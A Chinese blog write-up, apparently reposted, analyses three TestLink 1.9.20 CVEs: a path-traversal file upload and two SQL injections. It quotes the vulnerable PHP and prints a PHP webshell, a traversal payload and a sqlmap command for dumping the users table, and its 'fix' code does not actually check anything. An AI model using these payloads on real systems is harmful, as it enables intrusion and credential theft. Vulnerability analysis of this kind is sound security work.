浅析TestLink的三个CVE

浅析TestLink的三个CVE

前言:由于一开始文章被吞了后半部分,造成了一些误会,现在都补上啦,谢谢王叹之师傅的提醒,hhh
后来才知道是我加了几个表情的锅2333

Testlink是一个开源的、基于Web的测试管理和测试执行系统,由PHP编写。

github网址为:https://github.com/TestLinkOpenSourceTRMS/testlink-code/tree/1.9.20

在最近的一次安全审计中,AppSec团队发现了一个任意文件上传漏洞(CVE-2020-8639)和两个SQL注入漏洞(CVE-2020-8637、CVE-2020-8638)。

CVE:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8637

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8638

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8639

下面我们将对这三个已发现的漏洞及其被利用的方式进行概述。

任意文件上传的分析

Teslink提供了使用关键字对测试用例进行分类的可能性。这些关键字可以导出和导入,在这次操作中,我们发现了第一个漏洞

这个界面允许我们上传一个包含关键字的文件,关于文件类型,我们可以选择XML或CSV格式。现在我们看一下在文件keywordsImport.php中存在的init_args方法的实现。

function init_args(&$dbHandler)
{
  $_REQUEST = strings_stripSlashes($_REQUEST);
  $ipcfg = array("UploadFile" => array(tlInputParameter::STRING_N,0,1),
                 "importType" => array(tlInputParameter::STRING_N,0,100),
                 "tproject_id" => array(tlInputParameter::INT_N));
  $args = new stdClass();
  R_PARAMS($ipcfg,$args);
  if( $args->tproject_id <= 0 )
  {
    throw new Exception(" Error Invalid Test Project ID", 1);
  }
  // Check rights before doing anything else
  // Abort if rights are not enough
  $user = $_SESSION['currentUser'];
  $env['tproject_id'] = $args->tproject_id;
  $env['tplan_id'] = 0;
  $check = new stdClass();
  $check->items = array('mgt_modify_key');
  $check->mode = 'and';
  checkAccess($dbHandler,$user,$env,$check);
  $tproj_mgr = new testproject($dbHandler);
  $dm = $tproj_mgr->get_by_id($args->tproject_id,array('output' => 'name'));
  $args->tproject_name = $dm['name'];
  $args->UploadFile = ($args->UploadFile != "") ? 1 : 0;
  $args->fInfo = isset($_FILES['uploadedFile']) ? $_FILES['uploadedFile'] : null;
  $args->source = isset($args->fInfo['tmp_name']) ? $args->fInfo['tmp_name'] : null;
  $args->dest = TL_TEMP_PATH . session_id() . "-importkeywords." . $args->importType;
  return $args;
}

首先,strings_stripSlashes方法过滤了==$_REQUEST==中所有引用的字符串值。然后用R_PARAMS方法从REQUEST中获取ipcfg中定义的参数并存储在args中。上传的文件被存储在$args->source中,而$args->importType的值被串在$args->dest中。我们可以很容易的将importType的值改为/./././2333。换句话说,这个参数是容易被遍历的。

同样的, $args->dest 也是被用在move_uploaded_file函数处

$args = init_args($db);
$gui = initializeGui($args);
if(!$gui->msg && $args->UploadFile)
{
  if(($args->source != 'none') && ($args->source != ''))
  {
    if (move_uploaded_file($args->source, $args->dest))

任意文件上传的利用

利用这个漏洞的一个方法是在部署Testlink的服务器上上传一个webshell,使其远程执行代码。要做到这一点,我们需要在服务器上找到一个运行Testlink的系统用户有写权限的路径(例如,/logs)。

importType的值可以是/../../../../../logs/2333.php,我们需要在PHP中的变量uploadFile中传递我们的webshell的代码。例如,这可以用下面的方法来实现。

<html>
    <body>
        <form method="POST">
            <input name="command" id="command" />
            <input type="submit" value="Send" />
        </form>
        <pre>
            <?php if(isset($_POST['Hack']))
        {
            system($_POST['Hack']);
        } ?>
        </pre>
    </body>
</html>

随后我们就可以在server上执行命令。

SQL注入分析

Testlink易受SQL注入的影响,在tree.class.phptestPlanUrgency.class.php中都存在SQL注入的问题。我们来详细的看一下这几个点。

1.dragdroptreenodes.php

第一个是从dragdroptreenodes.php中开始的,注入是在nodeid这个变量体现的。

我们来看一下相关的函数和代码块:

function init_args()
{
  $args=new stdClass();
  $key2loop=array('nodeid','newparentid','doAction','top_or_bottom','nodeorder','nodelist');
  foreach($key2loop as $key)
  {
    $args->$key=isset($_REQUEST[$key]) ? $_REQUEST[$key] : null;
  }
  return $args;
}

用户输入的nodeid变量是从$_REQUEST中获取并存储在$args->nodeid中,之后,change_parent方法会被调用:其中关于change_parent方法的定义在tree.class.php中。从下面的源码中可以看到,在SQL语句的WHERE语句中,构造了一条$node_id的相关链,实现了对SQL语句的控制。

$args=init_args();
$treeMgr = new tree($db);
switch($args->doAction)
{
    case 'changeParent':
        $treeMgr->change_parent($args->nodeid,$args->newparentid);
    break;
function change_parent($node_id, $parent_id)
  {
    $debugMsg='Class:' .__CLASS__ . ' - Method:' . __FUNCTION__ . ' :: ';
    if( is_array($node_id) )
    {
      $id_list = implode(",",$node_id);
      $where_clause = " WHERE id IN ($id_list) ";
    }
    else
    {
      $where_clause=" WHERE id = {$node_id}";
    }
    $sql = "/* $debugMsg */ UPDATE {$this->object_table} " .
           " SET parent_id = " . $this->db->prepare_int($parent_id) . " {$where_clause}";
    $result = $this->db->exec_query($sql);
    return $result ? 1 : 0;
  }

2.planUrgency.php开始

第二个SQL注入是在planUrgency.php中出现的,注入的是未经过过滤的参数 urgency

if (isset($_REQUEST['urgency']))
  {
    $args->urgency_tc = $_REQUEST['urgency'];
  }

接收到$_REQUEST传入的urgency后,调用setTestUrgency方法。

public function setTestUrgency($testplan_id, $tc_id, $urgency)
  {
    $sql = " UPDATE {$this->tables['testplan_tcversions']} SET urgency={$urgency} " .
           " WHERE testplan_id=" . $this->db->prepare_int($testplan_id) .
           " AND tcversion_id=" . $this->db->prepare_int($tc_id);
    $result = $this->db->exec_query($sql);
    return $result ? tl::OK : tl::ERROR;
  }

最后$urgency会被直接插入到SQL查询语句中,攻击者就可以直接执行控制数据库中的SQL语句从而拿到shell。

SQL注入的利用

回过头看了一下王叹之师傅的链接,发现自己没有总结PostgreSQL的情况,现在放一下这篇文章的内容:

这里是说:可以进行堆叠注入,可以据此进行提权。

而在Mysql中,我们并不能改变数据库里的值,不过我们可以用sqlmap来简单的dump一下。

python sqlmap.py -u <URL_TESTLINK>/lib/ajax/dragdroptreenodes.php
--data="doAction=changeParent&oldparentid=41&newparentid=41&nodelist=47%2C45&nodeorder=0&nodeid=47"
-p nodeid
--cookie="PHPSESSID=<PHP_SESSION_ID>; TESTLINK1920TESTLINK_USER_AUTH_COOKIE=<USER_AUTH_COOKIE>"
--dump -D testlink -T users

我们可以看到,Testlink使用bcrypt(不可逆,把明文和存储的密文一块运算得到另一个密文,如果这两个密文相同则验证成功)来存储用户的密码,所以这些信息没啥用了。但是,apiKey和cookie都是以文本的形式传递,所以我们可以来伪造admin的身份进行请求。

修复:

对于文件上传漏洞,可以借助以下代码来检查

$tproj_mgr = new testproject($dbHandler);
  $dm = $tproj_mgr->get_by_id($args->tproject_id,array('output' => 'name'));
  $args->tproject_name = $dm['name'];

而对于SQL注入:就是借助了常规的过滤来避免,在这里不再多说。

Reference:

https://github.com/TestLinkOpenSourceTRMS/testlink-code github源码

https://ackcent.com/blog/testlink-1.9.20-unrestricted-file-upload-and-sql-injection/ 的确和这个有点像,大家可以移步去看一下。

本文来源于: https://xz.aliyun.com/t/7719

相关推荐

信息收集

前言:最近学习关于信息方面的内容,感觉非常有意思,就将自己总结的笔记分享一下。共同学习,共同进步。 域名信息收集 域名介绍(Domain Name):是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称,用于在数据传输

WordPress Real-Time Find and Replace插件CSRF to Stored XSS漏洞分析

前言 Real-Time Find and Replace是一个可以实时查找和替换WordPress网页数据的插件。据统计,该漏洞已安装在100,000多个站点上。 近日Real-Time Find and Replace 3.9版本被披露

说说代理池

近期由于工作中的遇到的问题,在研究代理池,其实代理池应该说已经是比较成熟的技术,而且在飞速发展,比如现在主流的“秒拨”技术,给企业在风险IP识别和判定上带来极大的难度。代理池技术目前被广泛用于爬虫、灰黑产、SEO、网络攻击、刷单、薅羊毛等等

CVE-2020-600/6009/6010/11511:在线学习平台多安全漏洞

漏洞概述 研究人员在最常见的Learning Management Systems(LMS)插件LearnPress、LearnDash和LifterLMS中发现了多个安全漏洞,包括权限提升漏洞、SQL注入、远程代码执行漏洞。 研究人员共发

Wordpress 插件 Media Library Assistant 2.81-(LFI和XSS)

Wordpress 插件 Media Library Assistant 2.81-(LFI和xss) 前言 个人觉得漏洞威胁不算太大,但也作为一个弱鸡的学习经历将其记录下来 Media Library Assistant用于进行图像和文件

关于一次python获得完整交互式shell的研究

关于一次python获得完整交互式shell的研究 前言 (以下基于linux系统)在一次研究后渗透的过程中,我学习到了关于tsh(tiny shell)的使用,虽然它已经是一个有了十几年历史的老工具了,但是仍然值得学习和研究,其中最让我感

域信息枚举

0x00、前言 域内基本的信息枚举是拿到域内机子之后必不可少的一步,后续操作可以说完全依赖于信息枚举的程度 这里只针对域内信息进行枚举(域用户、域组、ACLs、GPO、OUs、信任关系、一些特殊的账户属性和文件......) 下面列举出Ac

How to hook Android Native methods with Frida (Noob Friendly)

原文地址:https://erev0s.com/blog/how-hook-android-native-methods-frida-noob-friendly/ 在上一篇文章中,我们以Android应用程序为例,并假设我们想要使用C/C+

CVE-2020-0932:使用TYPECONVERTERS在MICROSOFT SHAREPOINT上执行远程代码

来源:https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-ty

域控提权合集

0x01、前言 菜鸡一枚,标题起的可能有点大,只是个人笔记整理的一个合集(所以基本每个例子都会有实例)。所以虽然说是合集,可能都没有囊括到各位大佬会的一半。还请各位大佬轻喷 0x02、目录 GPP和SYSVOL中的密码 MS14-068 D

从0学习WebLogic CVE-2020-2551漏洞

最近遇到的实际环境为weblogic,所以这里顺便总结下测2020-2551的一些相关的点 2551也是学习了很多优秀的师傅文章,非常感谢,个人水平较差、文中错误内容还请师傅们指教纠正。 0X00 漏洞利用基础学习 从0开始学习复现这个洞不